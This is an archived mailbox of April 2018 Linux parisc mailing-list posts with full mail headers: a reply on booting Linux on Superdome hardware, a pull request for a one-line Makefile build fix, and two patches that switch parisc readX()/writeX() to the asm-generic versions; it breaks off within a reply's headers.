Tested-by: Guenter Roeck <linux@roeck-us.net>

> 
> 
> diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
> index eafd06a..e5de34d 100644
> --- a/arch/parisc/kernel/Makefile
> +++ b/arch/parisc/kernel/Makefile
> @@ -23,7 +23,7 @@ obj-$(CONFIG_SMP)	+= smp.o
>  obj-$(CONFIG_PA11)	+= pci-dma.o
>  obj-$(CONFIG_PCI)	+= pci.o
>  obj-$(CONFIG_MODULES)	+= module.o
> -obj-$(CONFIG_64BIT)	+= binfmt_elf32.o sys_parisc32.o signal32.o
> +obj-$(CONFIG_64BIT)	+= sys_parisc32.o signal32.o
>  obj-$(CONFIG_STACKTRACE)+= stacktrace.o
>  obj-$(CONFIG_AUDIT)	+= audit.o
>  obj64-$(CONFIG_AUDIT)	+= compat_audit.o


From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Sun, 15 Apr 2018 10:34:51 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1523781277 25508 195.159.176.226 (15 Apr 2018 08:34:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 15 Apr 2018 08:34:37 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: debian-hppa@lists.debian.org, linux-parisc <linux-parisc@vger.kernel.org>
To: Frank Scheiner <frank.scheiner@web.de>, Dennis Clarke <dc@oetec.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Apr 15 10:34:32 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1f7d7I-0006Y0-GZ
	for debian-hppa@m.gmane.org; Sun, 15 Apr 2018 10:34:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id BED06132; Sun, 15 Apr 2018 08:36:41 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sun Apr 15 08:36:40 2018
Old-Return-Path: <deller@gmx.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 59A22FE
	for <lists-debian-hppa@bendel.debian.org>; Sun, 15 Apr 2018 08:35:16 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.599 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id fEDz1CV8lAgb for <lists-debian-hppa@bendel.debian.org>;
	Sun, 15 Apr 2018 08:35:01 +0000 (UTC)
X-policyd-weight: NOT_IN_SBL_XBL_SPAMHAUS=-1.5 NOT_IN_BL_NJABL=-1.5 CL_IP_EQ_HELO_IP=-2 (check from: .gmx. - helo: .mout.gmx. - helo-domain: .gmx.)  FROM/MX_MATCHES_HELO(DOMAIN)=-2; rate: -7
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.17.21])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 3B500D7
	for <debian-hppa@lists.debian.org>; Sun, 15 Apr 2018 08:35:00 +0000 (UTC)
Original-Received: from [192.168.20.60] ([46.142.72.55]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MVvDo-1ewk6P3xRQ-00X2Vs; Sun, 15
 Apr 2018 10:34:54 +0200
In-Reply-To: <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
Content-Language: en-US
X-Provags-ID: V03:K1:nTXiPKWzDZ2+1CyFBvZX/1BvZE+s/iPCp2MEANO5IbxRQWm4h0m
 GFilSNOhqvUvfvStOGp0tIbXXriCcei3wKbwqD5BN3xR6e8f8mYuA+e24LITjH1vgKx9KvY
 tCfsDq7wvTKuJn614GROBhJYBIOCqGIsjCmTR7wFQ9ewuT/2+opUE4+A1qCRyFSihZwxrv+
 +AXtnX1+irdr5NnDMJs1g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:hzeLLW24XLw=:Gmmv7vQ7yMynDr63TTMgKs
 S1t8f6Z1dkBJNPFFKXdsmZtRR6gwcpMEUuJ6/7+6ammnRqca47bpkYr5uXmxk4WtyMmNfxWt6
 voajZjoRoo6oQb5S1bW2O/j+JKilBdjJTxUW/Rg4CkaQVFibrFX88KlmQzOMpmbpcagvYUmvP
 6V1orJCuFja84AN+mgY4Dlzd5ip31UAffCv3bz1Dw47AwzsxLnpzNw7aoC8UXNdk395APvm0a
 +5IiZqm75f0Rq0p3uiVqFSBvSukkDtJ8tUfDTo1u8oIi9R+Zvin6UU2I7/Ye8I4TC7VtVJuct
 ci1hfkVK4Z6GVDHJ+BNy/edt/z3Ymdr1+IIQ2eRcPmf1CwQ0SFlvL4Mny0kqbB31EyoxhmU6J
 lMDGdEdNS2wFvbnqdtsGE76uY/AOym+OXxlol8ilvxyW/zx3uNTUt0x3jK46CS1HX6CMQOOv0
 PLqXtNq3K+jIHd7r0yUYPKjlE4Y7M/cKV1EKCztzWHERj3V/XLfHCQcCKKxzbKkwvT80V7xIc
 /Fqzi/sltZMTAnfWuAdoqLeRngfpO53RxJN2VMJEKTCtV9IGLULll5l+xOpsIbq37otrPNjKG
 vJ3q2ph9ktSFGMkoboWmOVo4fy7PwbQZSr3cUl32089LiXfzm25ZgMK+y24wpgvaa04s8q1lY
 XGfr5GXtXiHF5+1apO7lJLONn6P3q9AP8yTW3HtBwixkZwY4GNXYLNdRvCbUUWrKl6JEn9b61
 a8tgJXUslajrh5nNJ5XCgyGoXBMKjINU0xC981xLe63jzgnvxI9trJbLawjNMFTmGUSISmpI 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <jcuHKBhSbS.A.nOH.Y8w0aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8702
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de
Resent-Date: Sun, 15 Apr 2018 08:36:41 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7718 gmane.linux.ports.parisc:28488
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7718>

On 14.04.2018 20:13, Frank Scheiner wrote:
> On 04/14/2018 06:11 PM, Dennis Clarke wrote:
>> Really?  Well then .. let me see what I have that is ancient in the
>>   warehouse.
>>
>> How about PA-RISC?  I happen to have some superdomes kicking about but they require truely a ton of power to operate.
> 
> I assume hppa people in Debian (debian-hppa@l.d.o in CC) would appreciate testing on such gear.
> Not sure if those superdomes will work out of the box though. 

It really would be interesting if Linux can boot on such machines.
If they don't, I'm pretty sure that I can finish the firmware support in Linux to be able to boot in a cell. For that I'd need access to such a machines via ssh (to a x86 machine for cross-compiling/tftpboot provisioning) & a serial port to the superdome.

> I know from my own testing that the following "smaller" machines work with Debian GNU/Linux Sid for hppa:
> 
> * 712/80
> * c3700, c3750, J5600, rp2470
> * c8000, rp3440
> 
> Apart from the rp3440 - and maybe also the 712/80 which showed some issue with it's built-in NIC after netbooting the Linux kernel and the OS

What kind of problems?

> - all machines also work diskless, which could speed up testing for you and avoid a manual Debian installation - although this could still be interesting.

Helge



From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc trivial build fix for 4.17
Date: Mon, 16 Apr 2018 22:52:09 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20180416205209.GA12361@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1523911838 21218 195.159.176.226 (16 Apr 2018 20:50:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 16 Apr 2018 20:50:38 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Apr 16 22:50:34 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8B57-0005OI-FY
	for glk-linux-kernel-4@m.gmane.org; Mon, 16 Apr 2018 22:50:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752989AbeDPUwm (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 16 Apr 2018 16:52:42 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:60973 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752273AbeDPUwT (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 16 Apr 2018 16:52:19 -0400
Original-Received: from ls3530.fritz.box ([89.247.41.243]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M6zvN-1eBpHt0k8j-00wihA; Mon, 16
 Apr 2018 22:52:12 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:e5Ojzj1JF1nCMap6xxoTruE6xyg0EPu6lGkqsc1e6u8KtBw+48l
 Uo4Ep7YBqtQAtIiol7XpuBPJHN5IlZ5QNumLl8Sp9dDiFrtGKgpzPFeOI2cqugckbKBukxM
 qKCfbQ7w8OpAE+d1am7uKIJWDiBlmCOzWWEoY2GNDZrGymxsZ/YuZ9eLVbXPw14XpOmSyUD
 cO2SbtQf9fMmjR27rswAA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ge1eFTEZI44=:g8gLPbu6+hUmXVVLb00ykQ
 YWBd/IuitO8A/dpzQqP7ccDDsufhQ4R8ppGeslAZ40zdwU9i2w+T49XSxr5JaZdDmgl/Zc77i
 feJj3bzZ8bXZNAvzADoXqavtH3qtrmu9EJrlFaUSvw2o3rCApyoeRydMcXjpcpsti967yUZfJ
 WwSEBOEw3kuDesndIXjiPSEAazJ0vmB2+UOeEuO+mp0XT9xDn/OGplHCo7pU52ybKim3Qy56E
 ZbuY2wky7+XUEXihTQnei7l2h7JXI2qBtrTTfUvTBlpsKx6t1fVaBKTngGhvGYPOTbW/q7ioO
 dbdXmMyL0Pl4tKpiQFEo2SSiN4IcuqdHjYSnq8utRBvLJEQgwomNe7gvJLPcGWv5lEtQxcPuQ
 82HzZ+ipst/UcO6+ywnBLvoPlvoBdy3/X32WcB+qA1nlAcy54frbbcjTYCk8R7Yl+RiKBZ8KM
 /9t6K7/Y/xbUMqzeK0WsTHVHm2WjXgXheizyCgRpulMvBOtntDO4X72qAcVg1PPmSP79ssQgr
 ElOJfWEp2S2O+kuelI6gVzJ0gQhjvgN30g0klc78HUf8CAZ8rXHTYoqgHQ9IfCPUExGh1/VAk
 xOm2g6J8kFa90FuYIyFh9gLVVPE5bIH0t/KtrDnseI2tCGQsjRXs/nwsiPYXliTNVnDUljpNx
 XvcLFCIrzMmnevv74nRCqq14IlRGcVeisFDOQMGCIx3RGIj7gJhbEX7/QuKdXXGazce/tdMvb
 +XgaqmME2OjCtp7+oxZUyPD8Vih3W3YUSRD2oYUxNRE8Fg0uB+KjvYrskxDne+oc84HH+gSZ 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742512 gmane.linux.ports.parisc:28489
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742512>

Hi Linus,

please pull a trivial one-line build fix for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.17-3

* Fix build error because of missing binfmt_elf32.o file which is still
  mentioned in the Makefile.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      parisc: Fix missing binfmt_elf32.o build error

 arch/parisc/kernel/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)


From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sinan Kaya <okaya@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: [PATCH 1/2] parisc: use the asm-generic version for writeX()
Date: Mon, 16 Apr 2018 18:01:15 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523915967 27237 195.159.176.226 (16 Apr 2018 21:59:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 16 Apr 2018 21:59:27 +0000 (UTC)
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        Sinan Kaya <okaya@codeaurora.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: linux-parisc@linux-mips.org, arnd@arndb.de, timur@codeaurora.org,
        sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Apr 16 23:59:22 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8C9h-0005lF-IN
	for glk-linux-kernel-4@m.gmane.org; Mon, 16 Apr 2018 23:59:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753110AbeDPWB2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 16 Apr 2018 18:01:28 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:45236 "EHLO
        smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751870AbeDPWB0 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 16 Apr 2018 18:01:26 -0400
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
        id 90E5E60F6E; Mon, 16 Apr 2018 22:01:25 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523916085;
        bh=3DXSRxES2iOgBauLrcSenurbQDbzuXacQwQjQKj8Ys8=;
        h=From:To:Cc:Subject:Date:From;
        b=Fnc/eYqFqJpDCoIC9HRiHjQC/JTZF+ImBq5P3J92K4f+6I4Ttfby3B6PR/1um5lX2
         lJXws6CYLaEcN3KtA6qsXxpmanoSop0TEB3i1WzZtRNSogQZJxjiTyx7UiQ6YdAidC
         fPlfE74Q6r6ZKA+5JMs3AcFULeYN6gxXT7uoembk=
Original-Received: from drakthul.qualcomm.com (global_nat1_iad_fw.qualcomm.com [129.46.232.65])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-SHA256 (128/128 bits))
        (No client certificate requested)
        (Authenticated sender: okaya@smtp.codeaurora.org)
        by smtp.codeaurora.org (Postfix) with ESMTPSA id 5CF34600ED;
        Mon, 16 Apr 2018 22:01:23 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523916084;
        bh=3DXSRxES2iOgBauLrcSenurbQDbzuXacQwQjQKj8Ys8=;
        h=From:To:Cc:Subject:Date:From;
        b=UQQyP1liAIEIv7lOzphRZgkVse1NKg181Cqf5MRnAmDz8p28huoKMymq/82yfMpGE
         FyDbl6RndEj2w4SGsHyR2HTsVzzejfsM6g8JPsG12fM54RFRJyGzf3HA9w2Xu9fmwz
         TG03MsW/+OxlNJDxG0Pp1465YWaLB/luyFnUQ2wA=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org 5CF34600ED
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=none smtp.mailfrom=okaya@codeaurora.org
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742590 gmane.linux.ports.arm.msm:33918 gmane.linux.ports.arm.kernel:643977 gmane.linux.ports.parisc:28490
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742590>

parisc architecture seems to be mapping writeX() and writeX_relaxed() APIs
to __raw_writeX() API.

__raw_writeX() API doesn't provide any kind of ordering guarantees.
commit 755bd04aaf4b ("io: define stronger ordering for the default writeX()
implementation") changed asm-generic implementation to use a more
conservative approach towards the writeX() API.

Drop the arch specific version and rely on the asm-generic version for
parisc since parisc version doesn't seem to do anything special with these
macros.

Signed-off-by: Sinan Kaya <okaya@codeaurora.org>
---
 arch/parisc/include/asm/io.h | 27 ---------------------------
 1 file changed, 27 deletions(-)

diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
index afe493b..ef04864 100644
--- a/arch/parisc/include/asm/io.h
+++ b/arch/parisc/include/asm/io.h
@@ -194,41 +194,14 @@ static inline unsigned long long readq(const volatile void __iomem *addr)
 	return le64_to_cpu((__le64 __force) __raw_readq(addr));
 }
 
-static inline void writeb(unsigned char b, volatile void __iomem *addr)
-{
-	__raw_writeb(b, addr);
-}
-static inline void writew(unsigned short w, volatile void __iomem *addr)
-{
-	__raw_writew((__u16 __force) cpu_to_le16(w), addr);
-}
-static inline void writel(unsigned int l, volatile void __iomem *addr)
-{
-	__raw_writel((__u32 __force) cpu_to_le32(l), addr);
-}
-static inline void writeq(unsigned long long q, volatile void __iomem *addr)
-{
-	__raw_writeq((__u64 __force) cpu_to_le64(q), addr);
-}
-
 #define	readb	readb
 #define	readw	readw
 #define	readl	readl
 #define readq	readq
-#define writeb	writeb
-#define writew	writew
-#define writel	writel
-#define writeq	writeq
-
 #define readb_relaxed(addr)	readb(addr)
 #define readw_relaxed(addr)	readw(addr)
 #define readl_relaxed(addr)	readl(addr)
 #define readq_relaxed(addr)	readq(addr)
-#define writeb_relaxed(b, addr)	writeb(b, addr)
-#define writew_relaxed(w, addr)	writew(w, addr)
-#define writel_relaxed(l, addr)	writel(l, addr)
-#define writeq_relaxed(q, addr)	writeq(q, addr)
-
 #define mmiowb() do { } while (0)
 
 void memset_io(volatile void __iomem *addr, unsigned char val, int count);
-- 
2.7.4



From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sinan Kaya <okaya@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: [PATCH 2/2] parisc: use the asm-generic version for readX()
Date: Mon, 16 Apr 2018 18:01:16 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <1523916078-23049-2-git-send-email-okaya@codeaurora.org>
References: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523915973 27648 195.159.176.226 (16 Apr 2018 21:59:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 16 Apr 2018 21:59:33 +0000 (UTC)
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        Sinan Kaya <okaya@codeaurora.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: linux-parisc@linux-mips.org, arnd@arndb.de, timur@codeaurora.org,
        sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Apr 16 23:59:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8C9n-00074n-Es
	for glk-linux-kernel-4@m.gmane.org; Mon, 16 Apr 2018 23:59:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753183AbeDPWBe (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 16 Apr 2018 18:01:34 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:45574 "EHLO
        smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753130AbeDPWBa (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 16 Apr 2018 18:01:30 -0400
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
        id 4A36760FF7; Mon, 16 Apr 2018 22:01:28 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523916089;
        bh=5AOWhSnIOvGZDvvLBfLJ6xunR3eK7LSXOKDi5ntoVD8=;
        h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
        b=NWtPmEyGdJfqsl1y9h2QrQyKiOf8hmit7in6JFqvBrk6KirSlQ7jREHnvaXk95qyg
         7TosxLXdoMp3YvfSJSXSLhwIXY5XyPaVH1b5XSw3iwRwN94q1Dagb/r7SMXA8vGfAc
         kwYjzQtDWmZTGfSA8sjSDbl04R/BhRa5qiNyjm64=
Original-Received: from drakthul.qualcomm.com (global_nat1_iad_fw.qualcomm.com [129.46.232.65])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-SHA256 (128/128 bits))
        (No client certificate requested)
        (Authenticated sender: okaya@smtp.codeaurora.org)
        by smtp.codeaurora.org (Postfix) with ESMTPSA id A1F816081C;
        Mon, 16 Apr 2018 22:01:26 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523916088;
        bh=5AOWhSnIOvGZDvvLBfLJ6xunR3eK7LSXOKDi5ntoVD8=;
        h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
        b=n0uOyPcznsxzUKYmzdoPC7qwcIrDjoFkcU7iL1iapDgV7dVIf9xA2UxAru30jHAah
         HAEG+AlAFLF/wsEfwtAkGzvXLpYEvkvU33iKUEV57vs7nS7dt76VjYkEKQn+Frstpr
         XpZHDDHbYMBMdLd50Cb0tgOpOxZb1FKzxD7OFCxk=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org A1F816081C
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=none smtp.mailfrom=okaya@codeaurora.org
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742591 gmane.linux.ports.arm.msm:33919 gmane.linux.ports.arm.kernel:643978 gmane.linux.ports.parisc:28491
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742591>

parisc architecture seems to be mapping readX() and readX_relaxed() APIs
to __raw_readX() API.

__raw_readX() API doesn't provide any kind of ordering guarantees.
commit 032d59e1cde9 ("io: define stronger ordering for the default readX()
implementation") changed asm-generic implementation to use a more
conservative approach towards the readX() API.

Drop the arch specific version and rely on the asm-generic version for
parisc since it doesn't seem to do anything special with these macros.

Signed-off-by: Sinan Kaya <okaya@codeaurora.org>
---
 arch/parisc/include/asm/io.h | 25 -------------------------
 1 file changed, 25 deletions(-)

diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
index ef04864..7e60642 100644
--- a/arch/parisc/include/asm/io.h
+++ b/arch/parisc/include/asm/io.h
@@ -177,31 +177,6 @@ static inline void __raw_writeq(unsigned long long b, volatile void __iomem *add
 	*(volatile unsigned long long __force *) addr = b;
 }
 
-static inline unsigned char readb(const volatile void __iomem *addr)
-{
-	return __raw_readb(addr);
-}
-static inline unsigned short readw(const volatile void __iomem *addr)
-{
-	return le16_to_cpu((__le16 __force) __raw_readw(addr));
-}
-static inline unsigned int readl(const volatile void __iomem *addr)
-{
-	return le32_to_cpu((__le32 __force) __raw_readl(addr));
-}
-static inline unsigned long long readq(const volatile void __iomem *addr)
-{
-	return le64_to_cpu((__le64 __force) __raw_readq(addr));
-}
-
-#define	readb	readb
-#define	readw	readw
-#define	readl	readl
-#define readq	readq
-#define readb_relaxed(addr)	readb(addr)
-#define readw_relaxed(addr)	readw(addr)
-#define readl_relaxed(addr)	readl(addr)
-#define readq_relaxed(addr)	readq(addr)
 #define mmiowb() do { } while (0)
 
 void memset_io(volatile void __iomem *addr, unsigned char val, int count);
-- 
2.7.4



From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.msm,gmane.linux.kernel
Subject: Re: [PATCH 1/2] parisc: use the asm-generic version for writeX()
Date: Mon, 16 Apr 2018 19:09:42 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <a727e74f-610c-4722-76e9-c1aca2f9e9bd@bell.net>
References: <1523916078-23049-1-git-send-email-okaya@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"; Format="flowed"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1523920082 10974 195.159.176.226 (16 Apr 2018 23:08:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 16 Apr 2018 23:08:02 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
